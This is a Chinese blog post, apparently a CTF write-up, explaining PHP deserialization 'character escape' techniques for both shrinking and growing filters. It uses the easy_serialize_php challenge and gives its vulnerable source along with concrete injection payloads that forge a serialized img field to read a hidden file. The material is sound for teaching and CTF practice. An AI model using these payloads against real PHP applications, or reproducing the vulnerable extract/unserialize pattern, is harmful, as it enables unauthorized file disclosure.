[WEB安全/反序列化利用]构造反序列化字符逃逸方法分析

字符逃逸

序列化

类型:长度(键数):{类型:键长度:键名;类型:值长度:内容;} //本文键和值各自分为三部分,类型、长度、字符串
 
o:名长:对象名:长度(键数):{类型:键长度:键名;类型:值长度:内容;}

一.字符减少型

分类
值逃逸:值过滤,前值包后键与值(左引号为止)
  • 条件为两个连续的键值对,第一个的值包含住第二个的键的全部和值的类型、长度,使第二个键值对产生逃逸

  • 覆盖不可控参数【主要为长度这一数字,利用可传参数的前一参数被过滤或替换的逻辑,计算其长度,使伪造数据闭合】

  • 传入可控数据【利用待伪造的变量的前一个变量传入我们伪造的此变量】

  • 利用php序列化读取规则,顶替原参数

参数a,b,c,我们伪造c, 则有以下关系
c 携带 利用payload
可控参数b的值 携带
伪造的c
可控参数a的值 吃掉 原b及其长度

键逃逸:键过滤,自键包自值
  • 利用对键的过滤,使前键的字符长度包含住自己的值及其长度

a.键 a.值
a.键名被过滤
导致其键包含了其值的类型和长度
造成了值的内容逃逸

题目示例:[安洵杯 2019]easy_serialize_php
源代码
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
?>

对于本题特别的有

extract($_POST); 	//可以将$_POST传入的变量,键值对绑定,自动将键对应的值赋给以键为名的变量上,可对形如 _SESSION[user]的键起作用,直接作用于$_SESSION[user],并影响$_SESSION,相当于直接以$_SESSION[user]=xxx赋值。
值逃逸

标准序列化对象

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

预期目标

a:3:{s:4:"user";s:24:"xxxxxxxxxxxxxxxxxxxx";s:8:"function";s:10:"Hephaesctf";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
xxxxx.....=;s:8:"function";s:71:"a

构造payload,使user值中的敏感字符被过滤,从而导致其字符长度刚好覆盖原本(不可控的)的function的键的全部和值的一部分,使我们主动传入的function参数中的img被被顺序解析为对象属性,使分号引号闭合,顶替原本的img参数,从而实现预期序列化构造。

传参

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"Hephaesctf";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

关键点:

  • xxxxxxxxxxxxxxxxxxxx长度刚好覆盖";s:8:"function";s:71:"a,使得对应24长度的引号闭合【这是为了覆盖原function键值,造成字符溢出,使主动传入的(值的长度可自定义的)function被解析,以帮助img被解析,这个数字大小为被覆盖部分的长度】

  • img携带对函数利用的参数

拼接后

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:71:"a";s:8:"function";s:10:"Hephaesctf";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
键逃逸
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
a:3:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
{s:7:"xxxxxxx";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

字符增加型

假设web逻辑为接收参数,将第一参数中的t替换为kk

<?php
function filter($s){
return str_replace('t','kk',$s);
}

//$x = filter($_GET['id']);
$x = "ttttttttt";			//可控
$y = "Hephaesctf";			//待顶替

$ser=serialize(array($x,$y));
echo filter($ser);

那么,我们可以利用字符的增加构造payload

原本,传入ttttttttt生成的是

a:2:{i:0;s:9:"kkkkkkkkkkkkkkkkkk";i:1;s:10:"HephaesCTF";}

显然是会产生错误的。

但是当我们添加包含的不是纯t时,一定数量的其他字符(t除外)有可能帮助我们使引号和长度匹配。

特别的,当我们构造$x为

ttttttttttttttttttttt";i:1;s:6:"phpinfo";}

新产生的k代替我们伪造的y(i=1)的参数占位,闭合了引号,且将伪造参数逃逸出去,且尾端分号闭合

a:2:{i:0;s:42:"kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk";i:1;s:6:"phpinfo";}";i:1;s:10:"HephaesCTF";}

关键点:

首先分析字符替换的单字符增量t(如本例为1)

将字符串分组(具体情况具体分析)

";i:1;s:6:"phpinfo";}    //数量记为n
//则需要字符完成替换后增加n,则满足等式(tm=n)[m,n,t为整数],被替换字符数量为n/t
ttttttttttttttttttttt	 //如本题m=n
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值